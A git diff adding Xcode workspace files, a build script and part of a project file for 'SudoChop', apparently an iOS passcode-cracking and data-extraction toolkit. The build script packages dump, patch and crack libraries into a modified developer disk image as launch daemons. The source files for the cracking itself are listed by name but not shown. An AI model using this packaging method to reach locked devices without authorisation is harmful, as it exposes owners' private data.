diff --git a/SudoChop.xcworkspace/contents.xcworkspacedata b/SudoChop.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..165340d --- /dev/null +++ b/SudoChop.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,16 @@ + + + + + + + + + + + diff --git a/SudoChop.xcworkspace/xcshareddata/SudoChop.xccheckout b/SudoChop.xcworkspace/xcshareddata/SudoChop.xccheckout new file mode 100644 index 0000000..d2af05f --- /dev/null +++ b/SudoChop.xcworkspace/xcshareddata/SudoChop.xccheckout @@ -0,0 +1,32 @@ + + + + + IDESourceControlProjectFavoriteDictionaryKey + + IDESourceControlProjectIdentifier + EA0DF5C0-8A03-4657-8C7A-4289F02AD142 + IDESourceControlProjectName + SudoChop + IDESourceControlProjectRelativeInstallPathDictionary + + 5E438143-B91B-4DD2-8176-F89A16BD93B8 + ../konsole + + IDESourceControlProjectVersion + 110 + IDESourceControlProjectWCCIdentifier + 5E438143-B91B-4DD2-8176-F89A16BD93B8 + IDESourceControlProjectWCConfigurations + + + IDESourceControlRepositoryExtensionIdentifierKey + public.vcs.git + IDESourceControlWCCIdentifierKey + 5E438143-B91B-4DD2-8176-F89A16BD93B8 + IDESourceControlWCCName + konsole + + + + diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate new file mode 100644 index 0000000..a22e309 Binary files /dev/null and b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate differ diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/WorkspaceSettings.xcsettings b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/WorkspaceSettings.xcsettings new file mode 100644 index 0000000..28f6741 --- /dev/null +++ b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/WorkspaceSettings.xcsettings @@ -0,0 +1,22 @@ + + + + + BuildLocationStyle + UseAppPreferences + CustomBuildLocationType + RelativeToDerivedData + DerivedDataLocationStyle + Default + HasAskedToTakeAutomaticSnapshotBeforeSignificantChanges + + IssueFilterStyle + ShowActiveSchemeOnly + LiveSourceIssuesEnabled + + SnapshotAutomaticallyBeforeSignificantChanges + + SnapshotLocationStyle + Default + + diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist new file mode 100644 index 0000000..72d540b --- /dev/null +++ b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist @@ -0,0 +1,39 @@ + + + + + + + + + + + + + diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/all.xcscheme b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/all.xcscheme new file mode 100644 index 0000000..f87e003 --- /dev/null +++ b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/all.xcscheme @@ -0,0 +1,110 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..8bdb24f --- /dev/null +++ b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,14 @@ + + + + + SchemeUserState + + all.xcscheme + + orderHint + 3 + + + + diff --git a/build.sh b/build.sh new file mode 100644 index 0000000..7cb15dd --- /dev/null +++ b/build.sh @@ -0,0 +1,65 @@ +#!/bin/bash + + +echo "Sudo Chop!!!" + +# Clean up old staging files from subversi0n and rebuild +rm -rf ddi.dmg +rm -rf dump.dylib +rm -rf patch.dylib +rm -rf crack.dylib + +# Build dump.dylib +cd dump +rm -rf build +xcodebuild +cp build/Release-iphoneos/dump ../dump.dylib +cd .. + +# Build patch.dylib +cd patch +rm -rf build +xcodebuild +cp build/Release-iphoneos/patch ../patch.dylib +cd .. + +# Build crack.dylib +cd crack +rm -rf build +xcodebuild +cp build/Release-iphoneos/crack ../crack.dylib +cd .. + +# Codesign everything +codesign -f -s "iPhone Developer" dump.dylib +codesign -f -s "iPhone Developer" patch.dylib +codesign -f -s "iPhone Developer" crack.dylib + +# Mount our new image +sudo hdiutil detach /Volumes/DDI +sudo hdiutil mount udrw.dmg + +# Remove old files +sudo rm -rf /Volumes/DDI/dump.dylib +sudo rm -rf /Volumes/DDI/patch.dylib +sudo rm -rf /Volumes/DDI/crack.dylib +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.dump.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.patch.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.crack.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.panic.plist + +# Copy over new dylibs +sudo cp ./dump.dylib /Volumes/DDI/dump.dylib +sudo cp ./patch.dylib /Volumes/DDI/patch.dylib +sudo cp ./crack.dylib /Volumes/DDI/crack.dylib + +# Copy over LaunchServices +sudo cp ./dump/dump/com.sudo-sec.dump.plist /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.dump.plist +sudo cp ./patch/patch/com.sudo-sec.patch.plist /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.patch.plist +sudo cp ./crack/crack/com.sudo-sec.crack.plist /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.crack.plist + +# Unmount and convert to UDRO +sudo hdiutil detach /Volumes/DDI +sudo hdiutil convert -format UDRO -o ddi.dmg udrw.dmg + +echo "Done, copy ddi.dmg over to SudoPunch" diff --git a/crack/crack.xcodeproj/project.pbxproj b/crack/crack.xcodeproj/project.pbxproj new file mode 100644 index 0000000..2b2583e --- /dev/null +++ b/crack/crack.xcodeproj/project.pbxproj @@ -0,0 +1,458 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 8A6E7407188EF31A000D650F /* AppleEffaceableStorage.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73E4188EF31A000D650F /* AppleEffaceableStorage.c */; }; + 8A6E7408188EF31A000D650F /* AppleKeyStore_kdf.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73E6188EF31A000D650F /* AppleKeyStore_kdf.c */; }; + 8A6E7409188EF31A000D650F /* AppleKeyStore.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73E7188EF31A000D650F /* AppleKeyStore.c */; }; + 8A6E740A188EF31A000D650F /* key_wrap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73EA188EF31A000D650F /* key_wrap.c */; }; + 8A6E740B188EF31A000D650F /* pbkdf2.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73EC188EF31A000D650F /* pbkdf2.c */; }; + 8A6E740C188EF31A000D650F /* rijndael.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73EE188EF31A000D650F /* rijndael.c */; }; + 8A6E740D188EF31A000D650F /* sha1.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73F0188EF31A000D650F /* sha1.c */; }; + 8A6E740E188EF31A000D650F /* crack.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73F2188EF31A000D650F /* crack.c */; }; + 8A6E740F188EF31A000D650F /* crackpin.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73F5188EF31A000D650F /* crackpin.c */; }; + 8A6E7411188EF31A000D650F /* grab_locker.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73F9188EF31A000D650F /* grab_locker.c */; }; + 8A6E7412188EF31A000D650F /* grab_system.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73FA188EF31A000D650F /* grab_system.c */; }; + 8A6E7413188EF31A000D650F /* ioaes.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73FB188EF31A000D650F /* ioaes.c */; }; + 8A6E7414188EF31A000D650F /* IOAESAccelerator.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73FD188EF31A000D650F /* IOAESAccelerator.c */; }; + 8A6E7415188EF31A000D650F /* ioflash.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7400188EF31A000D650F /* ioflash.c */; }; + 8A6E7416188EF31A000D650F /* ioflash_kernel.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7402188EF31A000D650F /* ioflash_kernel.c */; }; + 8A6E7417188EF31A000D650F /* IOKit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7403188EF31A000D650F /* IOKit.c */; }; + 8A6E7418188EF31A000D650F /* registry.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7405188EF31A000D650F /* registry.c */; }; + 8A6E743B188EFE0A000D650F /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E743A188EFE0A000D650F /* CoreFoundation.framework */; }; + 8A6E745E188F03BA000D650F /* device_info.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E745C188F03BA000D650F /* device_info.c */; }; + 8A6E7461188F0403000D650F /* util.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E745F188F0402000D650F /* util.c */; }; + 8AB037D818DDEAD5001AC096 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E743C188EFE20000D650F /* IOKit.framework */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8A6E73B8188EF10B000D650F /* crack */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = crack; sourceTree = BUILT_PRODUCTS_DIR; }; + 8A6E73BD188EF10B000D650F /* control.txt */ = {isa = PBXFileReference; lastKnownFileType = text; name = control.txt; path = Package/DEBIAN/control.txt; sourceTree = ""; }; + 8A6E73BE188EF10B000D650F /* control */ = {isa = PBXFileReference; lastKnownFileType = text; name = control; path = Package/DEBIAN/control; sourceTree = ""; }; + 8A6E73C0188EF10B000D650F /* PackageVersion.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PackageVersion.plist; sourceTree = ""; }; + 8A6E73C3188EF10B000D650F /* 0xdeadfa11 */ = {isa = PBXFileReference; lastKnownFileType = text; name = 0xdeadfa11; path = Package/usr/bin/0xdeadfa11; sourceTree = ""; }; + 8A6E73E4188EF31A000D650F /* AppleEffaceableStorage.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = AppleEffaceableStorage.c; sourceTree = ""; }; + 8A6E73E5188EF31A000D650F /* AppleEffaceableStorage.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AppleEffaceableStorage.h; sourceTree = ""; }; + 8A6E73E6188EF31A000D650F /* AppleKeyStore_kdf.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = AppleKeyStore_kdf.c; sourceTree = ""; }; + 8A6E73E7188EF31A000D650F /* AppleKeyStore.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = AppleKeyStore.c; sourceTree = ""; }; + 8A6E73E8188EF31A000D650F /* AppleKeyStore.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AppleKeyStore.h; sourceTree = ""; }; + 8A6E73EA188EF31A000D650F /* key_wrap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = key_wrap.c; sourceTree = ""; }; + 8A6E73EB188EF31A000D650F /* key_wrap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = key_wrap.h; sourceTree = ""; }; + 8A6E73EC188EF31A000D650F /* pbkdf2.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pbkdf2.c; sourceTree = ""; }; + 8A6E73ED188EF31A000D650F /* pbkdf2.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pbkdf2.h; sourceTree = ""; }; + 8A6E73EE188EF31A000D650F /* rijndael.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = rijndael.c; sourceTree = ""; }; + 8A6E73EF188EF31A000D650F /* rijndael.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = rijndael.h; sourceTree = ""; }; + 8A6E73F0188EF31A000D650F /* sha1.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = sha1.c; sourceTree = ""; }; + 8A6E73F1188EF31A000D650F /* sha1.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = sha1.h; sourceTree = ""; }; + 8A6E73F2188EF31A000D650F /* crack.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = crack.c; sourceTree = ""; }; + 8A6E73F3188EF31A000D650F /* crack.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = crack.h; sourceTree = ""; }; + 8A6E73F4188EF31A000D650F /* com.sudo-sec.crack.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "com.sudo-sec.crack.plist"; sourceTree = ""; }; + 8A6E73F5188EF31A000D650F /* crackpin.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = crackpin.c; sourceTree = ""; }; + 8A6E73F6188EF31A000D650F /* crackpin.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = crackpin.h; sourceTree = ""; }; + 8A6E73F9188EF31A000D650F /* grab_locker.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = grab_locker.c; sourceTree = ""; }; + 8A6E73FA188EF31A000D650F /* grab_system.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = grab_system.c; sourceTree = ""; }; + 8A6E73FB188EF31A000D650F /* ioaes.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ioaes.c; sourceTree = ""; }; + 8A6E73FC188EF31A000D650F /* ioaes.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ioaes.h; sourceTree = ""; }; + 8A6E73FD188EF31A000D650F /* IOAESAccelerator.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOAESAccelerator.c; sourceTree = ""; }; + 8A6E73FE188EF31A000D650F /* IOAESAccelerator.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOAESAccelerator.h; sourceTree = ""; }; + 8A6E7400188EF31A000D650F /* ioflash.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ioflash.c; sourceTree = ""; }; + 8A6E7401188EF31A000D650F /* ioflash.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ioflash.h; sourceTree = ""; }; + 8A6E7402188EF31A000D650F /* ioflash_kernel.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ioflash_kernel.c; sourceTree = ""; }; + 8A6E7403188EF31A000D650F /* IOKit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOKit.c; sourceTree = ""; }; + 8A6E7404188EF31A000D650F /* IOKit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOKit.h; sourceTree = ""; }; + 8A6E7405188EF31A000D650F /* registry.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = registry.c; sourceTree = ""; }; + 8A6E7406188EF31A000D650F /* registry.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = registry.h; sourceTree = ""; }; + 8A6E743A188EFE0A000D650F /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; + 8A6E743C188EFE20000D650F /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = System/Library/Frameworks/IOKit.framework; sourceTree = SDKROOT; }; + 8A6E745C188F03BA000D650F /* device_info.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = device_info.c; sourceTree = ""; }; + 8A6E745D188F03BA000D650F /* device_info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = device_info.h; sourceTree = ""; }; + 8A6E745F188F0402000D650F /* util.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = util.c; sourceTree = ""; }; + 8A6E7460188F0402000D650F /* util.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = util.h; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8A6E73B5188EF10B000D650F /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8AB037D818DDEAD5001AC096 /* IOKit.framework in Frameworks */, + 8A6E743B188EFE0A000D650F /* CoreFoundation.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8A6E73AF188EF10B000D650F = { + isa = PBXGroup; + children = ( + 8A6E73BA188EF10B000D650F /* crack */, + 8A6E73B9188EF10B000D650F /* Products */, + 8A6E743E188EFE49000D650F /* Frameworks */, + ); + sourceTree = ""; + }; + 8A6E73B9188EF10B000D650F /* Products */ = { + isa = PBXGroup; + children = ( + 8A6E73B8188EF10B000D650F /* crack */, + ); + name = Products; + sourceTree = ""; + }; + 8A6E73BA188EF10B000D650F /* crack */ = { + isa = PBXGroup; + children = ( + 8A6E7462188F0410000D650F /* misc */, + 8A6E742B188EF3E3000D650F /* info */, + 8A6E742A188EF3A5000D650F /* kapi */, + 8A6E742C188EF40A000D650F /* crypt */, + 8A6E73F2188EF31A000D650F /* crack.c */, + 8A6E73F3188EF31A000D650F /* crack.h */, + 8A6E73BB188EF10B000D650F /* Package */, + 8A6E73BF188EF10B000D650F /* Supporting Files */, + ); + path = crack; + sourceTree = ""; + }; + 8A6E73BB188EF10B000D650F /* Package */ = { + isa = PBXGroup; + children = ( + 8A6E73BC188EF10B000D650F /* DEBIAN */, + 8A6E73C1188EF10B000D650F /* usr */, + ); + name = Package; + sourceTree = ""; + }; + 8A6E73BC188EF10B000D650F /* DEBIAN */ = { + isa = PBXGroup; + children = ( + 8A6E73BD188EF10B000D650F /* control.txt */, + 8A6E73BE188EF10B000D650F /* control */, + ); + name = DEBIAN; + sourceTree = ""; + }; + 8A6E73BF188EF10B000D650F /* Supporting Files */ = { + isa = PBXGroup; + children = ( + 8A6E73C0188EF10B000D650F /* PackageVersion.plist */, + 8A6E73F4188EF31A000D650F /* com.sudo-sec.crack.plist */, + ); + name = "Supporting Files"; + sourceTree = ""; + }; + 8A6E73C1188EF10B000D650F /* usr */ = { + isa = PBXGroup; + children = ( + 8A6E73C2188EF10B000D650F /* bin */, + ); + name = usr; + sourceTree = ""; + }; + 8A6E73C2188EF10B000D650F /* bin */ = { + isa = PBXGroup; + children = ( + 8A6E73C3188EF10B000D650F /* 0xdeadfa11 */, + ); + name = bin; + sourceTree = ""; + }; + 8A6E73E9188EF31A000D650F /* bsdcrypto */ = { + isa = PBXGroup; + children = ( + 8A6E73EA188EF31A000D650F /* key_wrap.c */, + 8A6E73EB188EF31A000D650F /* key_wrap.h */, + 8A6E73EC188EF31A000D650F /* pbkdf2.c */, + 8A6E73ED188EF31A000D650F /* pbkdf2.h */, + 8A6E73EE188EF31A000D650F /* rijndael.c */, + 8A6E73EF188EF31A000D650F /* rijndael.h */, + 8A6E73F0188EF31A000D650F /* sha1.c */, + 8A6E73F1188EF31A000D650F /* sha1.h */, + ); + path = bsdcrypto; + sourceTree = ""; + }; + 8A6E73FF188EF31A000D650F /* ioflash */ = { + isa = PBXGroup; + children = ( + 8A6E7400188EF31A000D650F /* ioflash.c */, + 8A6E7401188EF31A000D650F /* ioflash.h */, + 8A6E7402188EF31A000D650F /* ioflash_kernel.c */, + ); + path = ioflash; + sourceTree = ""; + }; + 8A6E742A188EF3A5000D650F /* kapi */ = { + isa = PBXGroup; + children = ( + 8A6E7403188EF31A000D650F /* IOKit.c */, + 8A6E7404188EF31A000D650F /* IOKit.h */, + 8A6E73FD188EF31A000D650F /* IOAESAccelerator.c */, + 8A6E73FE188EF31A000D650F /* IOAESAccelerator.h */, + 8A6E73E4188EF31A000D650F /* AppleEffaceableStorage.c */, + 8A6E73E5188EF31A000D650F /* AppleEffaceableStorage.h */, + 8A6E73E6188EF31A000D650F /* AppleKeyStore_kdf.c */, + 8A6E73E7188EF31A000D650F /* AppleKeyStore.c */, + 8A6E73E8188EF31A000D650F /* AppleKeyStore.h */, + ); + name = kapi; + sourceTree = ""; + }; + 8A6E742B188EF3E3000D650F /* info */ = { + isa = PBXGroup; + children = ( + 8A6E745C188F03BA000D650F /* device_info.c */, + 8A6E745D188F03BA000D650F /* device_info.h */, + 8A6E73F9188EF31A000D650F /* grab_locker.c */, + 8A6E73FA188EF31A000D650F /* grab_system.c */, + 8A6E7405188EF31A000D650F /* registry.c */, + 8A6E7406188EF31A000D650F /* registry.h */, + 8A6E73FF188EF31A000D650F /* ioflash */, + ); + name = info; + sourceTree = ""; + }; + 8A6E742C188EF40A000D650F /* crypt */ = { + isa = PBXGroup; + children = ( + 8A6E73F5188EF31A000D650F /* crackpin.c */, + 8A6E73F6188EF31A000D650F /* crackpin.h */, + 8A6E73FB188EF31A000D650F /* ioaes.c */, + 8A6E73FC188EF31A000D650F /* ioaes.h */, + 8A6E73E9188EF31A000D650F /* bsdcrypto */, + ); + name = crypt; + sourceTree = ""; + }; + 8A6E743E188EFE49000D650F /* Frameworks */ = { + isa = PBXGroup; + children = ( + 8A6E743C188EFE20000D650F /* IOKit.framework */, + 8A6E743A188EFE0A000D650F /* CoreFoundation.framework */, + ); + name = Frameworks; + sourceTree = ""; + }; + 8A6E7462188F0410000D650F /* misc */ = { + isa = PBXGroup; + children = ( + 8A6E745F188F0402000D650F /* util.c */, + 8A6E7460188F0402000D650F /* util.h */, + ); + name = misc; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8A6E73B7188EF10B000D650F /* crack */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8A6E73C8188EF10B000D650F /* Build configuration list for PBXNativeTarget "crack" */; + buildPhases = ( + 8A6E73B4188EF10B000D650F /* Sources */, + 8A6E73B5188EF10B000D650F /* Frameworks */, + 8A6E73B6188EF10B000D650F /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = crack; + productName = crack; + productReference = 8A6E73B8188EF10B000D650F /* crack */; + productType = "com.apple.product-type.tool"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8A6E73B0188EF10B000D650F /* Project object */ = { + isa = PBXProject; + attributes = { + LastUpgradeCheck = 0510; + }; + buildConfigurationList = 8A6E73B3188EF10B000D650F /* Build configuration list for PBXProject "crack" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + en, + ); + mainGroup = 8A6E73AF188EF10B000D650F; + productRefGroup = 8A6E73B9188EF10B000D650F /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8A6E73B7188EF10B000D650F /* crack */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8A6E73B6188EF10B000D650F /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/opt/iOSOpenDev/bin/iosod --xcbp"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8A6E73B4188EF10B000D650F /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A6E7409188EF31A000D650F /* AppleKeyStore.c in Sources */, + 8A6E740E188EF31A000D650F /* crack.c in Sources */, + 8A6E7461188F0403000D650F /* util.c in Sources */, + 8A6E740A188EF31A000D650F /* key_wrap.c in Sources */, + 8A6E740B188EF31A000D650F /* pbkdf2.c in Sources */, + 8A6E7413188EF31A000D650F /* ioaes.c in Sources */, + 8A6E7408188EF31A000D650F /* AppleKeyStore_kdf.c in Sources */, + 8A6E7416188EF31A000D650F /* ioflash_kernel.c in Sources */, + 8A6E740D188EF31A000D650F /* sha1.c in Sources */, + 8A6E740F188EF31A000D650F /* crackpin.c in Sources */, + 8A6E7414188EF31A000D650F /* IOAESAccelerator.c in Sources */, + 8A6E740C188EF31A000D650F /* rijndael.c in Sources */, + 8A6E7417188EF31A000D650F /* IOKit.c in Sources */, + 8A6E7415188EF31A000D650F /* ioflash.c in Sources */, + 8A6E7418188EF31A000D650F /* registry.c in Sources */, + 8A6E7411188EF31A000D650F /* grab_locker.c in Sources */, + 8A6E745E188F03BA000D650F /* device_info.c in Sources */, + 8A6E7412188EF31A000D650F /* grab_system.c in Sources */, + 8A6E7407188EF31A000D650F /* AppleEffaceableStorage.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + 8A6E73C6188EF10B000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = NO; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = NO; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Debug; + }; + 8A6E73C7188EF10B000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = YES; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Release; + }; + 8A6E73C9188EF10B000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Debug; + }; + 8A6E73CA188EF10B000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + 